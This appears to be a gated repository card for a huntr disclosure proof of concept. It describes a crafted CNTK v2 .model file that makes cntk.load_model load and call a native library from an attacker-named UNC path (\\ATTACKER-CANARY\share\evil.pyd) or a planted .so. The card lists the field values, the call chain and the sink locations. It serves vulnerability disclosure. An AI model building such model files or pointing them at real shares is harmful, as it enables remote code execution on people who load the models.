| --- |
| license: other |
| tags: |
| - security-poc |
| - huntr |
| - responsible-disclosure |
| --- |
| |
| # β οΈ Security PoC β CNTK v2 `.model` native-UserFunction RCE (GATED) |
|
|
| This gated repository contains a **single crafted CNTK v2 `.model`** demonstrating arbitrary native |
| library load + call (RCE) at model-load time in `microsoft/CNTK`. Uploaded **solely** for coordinated |
| disclosure via huntr and access-gated to the triage team. |
|
|
| ## The artifact |
|
|
| - **`evil.model`** (581 bytes) β a raw protobuf-serialized `CNTK.proto` `Dictionary` (the on-disk CNTK |
| v2 format for sub-2GB models: no magic/length prefix). It encodes a `CompositeFunction` whose single |
| `primitive_functions[0]` entry is a **native UserFunction**: |
| - `type = "UserDefinedFunction"`, `native = true` β routes to `Function::DeserializeNativeImpl` |
| - `user_defined_state.type = "NativeUserDefinedFunction"` |
| - `user_defined_state.module = "\\ATTACKER-CANARY\share\evil.pyd"` β **attacker-named library** |
| - `user_defined_state.deserialize_method = "Deserialize"` β attacker export symbol |
| - `user_defined_state.op = "EvilNativeOp"` β unregistered op β forces the plugin-load branch |
|
|
| The `module` value is a **benign UNC canary** β no payload library exists at that path, so loading |
| the file makes CNTK *attempt* the remote `LoadLibrary` (observable as an SMB/WebDAV fetch to |
| `ATTACKER-CANARY`) without executing attacker code. Swapping in a reachable UNC share / local |
| `.dll`/`.so` is what yields full code execution. |
|
|
| ## Threat model (huntr MFV) |
|
|
| `cntk.load_model("evil.model")` / `cntk.Function.load(...)` β the fully public, default-format load |
| API. No user opt-in, no CLI flag, no callback registration. The native branch fires purely because the |
| file says `native = true`. |
|
|
| ## Reproduce |
|
|
| ```python |
| import cntk |
| cntk.load_model("evil.model") |
| # -> Function::Load(CNTKv2) -> CompositeFunction::Deserialize |
| # -> UDFUtils::Deserialize (IsUDF: type==UserDefinedFunction) |
| # -> IsNativeUDF (native==true) -> Function::DeserializeNativeImpl |
| # -> Plugin::Load("\\ATTACKER-CANARY\share\evil.pyd","Deserialize") |
| # -> LoadLibrary(UNC) + GetProcAddress + CALL ==> native code execution |
| ``` |
|
|
| **Windows:** `.pyd` is used verbatim (no suffix mangling); `LoadLibrary` of the UNC path fetches and |
| executes `DllMain` from the remote share β **single-file remote RCE**. |
| **Linux:** point `module` at a planted absolute-path `.so` (e.g. `/dev/shm/evil.so`) β `dlopen` + |
| `dlsym` + call (two-ingredient). |
|
|
| Sink: `Source/CNTKv2LibraryDll/UserDefinedFunction.cpp:35-67` Β· loader `Source/Common/File.cpp:1028-1094` |
| Β· no `AllowNative`/`trusted`/`safe_load` guard exists in `CNTKv2LibraryDll` (grepped, zero hits). |
|
|
| ## Verification status (honest) |
|
|
| The `.model` is encoded **faithfully to the real `CNTK.proto` schema** and the exact key / type / |
| version contract traced from CNTK source (`version` map-key required per `GetVersion`; type strings |
| `CompositeFunction` / `UserDefinedFunction` / `NativeUserDefinedFunction`; required-key sets for each |
| deserializer). The protobuf wire format was validated by round-trip decode. It was **not executed at |
| runtime** β CNTK is archived/EOL (last release 2.7, 2019) and does not build on the disclosure host. |
| The sink, the full public-API β sink chain, and the absence of any guard are source-confirmed. |
|
|
| CWE-502 + CWE-494 Β· CVSS ~8.8 (Windows UNC) Β· RCE. |
|
|